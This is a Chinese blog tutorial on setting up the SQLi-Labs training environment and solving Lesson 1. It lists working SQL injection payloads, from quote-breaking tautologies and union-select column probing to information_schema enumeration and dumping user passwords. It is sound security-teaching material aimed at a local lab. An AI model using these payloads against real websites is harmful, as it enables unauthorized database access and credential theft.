php7版本搭建sqli labs,SQLi-Labs环境搭建及Lesson 1

一、简介

首先我们来了解一下什么是SQL注入?

所谓SQL注入,就是SQL Injection:是Web程序代码中对于用户提交的参数未做过滤就直接放到SQL语句中执行,导致参数中的特殊字符打破了SQL语句原有逻辑,可以利用该漏洞执行任意SQL语句,如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。

那么,我们应该怎么学习呢?SQLi-labs会是一个不错的选择。

二、环境搭建

还需要集成环境,我使用的是phpStudy,官网:http://phpstudy.php.cn/

phpStudy装好之后,将SQLi-Labs解压,放到phpStudy安装目录下的/PHPTutorial/WWW

修改/sqli-labs/sql-connections/credb.inc文件中mysql账号密码,使之能连接上数据库

打开浏览器,输入地址http://localhost/sqli-labs/,点击 Setup/reset Database for labs ,看到如下界面,就说明环境搭建成功了~

bVbenRd?w=1442&h=854

bVbenS2?w=1443&h=853

Lesson 1 : GET - Error based - Single quotes - String

// GET-基于错误的-单引号-字符型

点击less-1,进入以下界面:

bVbenTR?w=1443&h=853

我们看到黄字提示:Please input the ID as parameter with numeric value //“请输入ID为数值的参数”

所以我们在url后输入:?id=1,回车,得到下面的页面:

bVbenUA?w=1445&h=648

说明用id=1查到对应的一些数据,实际上进行了下面的查询

select * from TABLENAME where id=1;

我们再在URL后面增加一个 ' (单引号),发现报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

通过查看报错信息,我们猜测可能是因为后面加的单引号没闭合导致,于是,修改URL为:

/sqli-labs/Less-1/?id=1' or 1=1 --+

bVbenWW?w=399&h=161

发现有效,--+成功注释了后面的代码,同样的,使用以下代码也成功查询到数据:

?id=1' or '1'='1

?id=1' or 1=1 --%20

?id=1' or 1=1%23

这里解释一下%23:%23是#的URL Encode得到的,和--+同是注释符。

常见URL Encode有:

%20 -> (空格)

%22 -> "

%23 -> #

%25 -> %

%27 -> '

至此,我们可以开始猜解数据库了。

1.查询字段:

?id=1' order by 5%23

bVben0J?w=367&h=34

采用折半查找,找到一个最大的不报错的数字,则为该表的字段长度,这里为3;

2.查询回显点:

?id=' union select 1,2,3%23

bVben0Q?w=309&h=134

由图可知回显点为第二、第三个字段,所以我们之后查询的内容要放在第二、第三字段才会显示;

3.查询数据库版本信息:

?id=' union select 1,version(),3%23

bVben1l?w=356&h=42

4.查询当前数据库和用户:

?id=' union select 1,database(),user()%23

bVben1t?w=463&h=82

5.查询所有数据库:

?id=' union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23

bVben1E?w=1306&h=41

6.查询表名:

?id=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3%23

bVben1R?w=677&h=45

7.查询列名:

?id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3%23

bVben12?w=585&h=40

8.查询用户名和密码:

?id=' union select 1,(select group_concat(username separator ';') from users),(select group_concat(password separator ';') from users)%23

bVben2f?w=1434&h=173

至此,猜解完毕!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值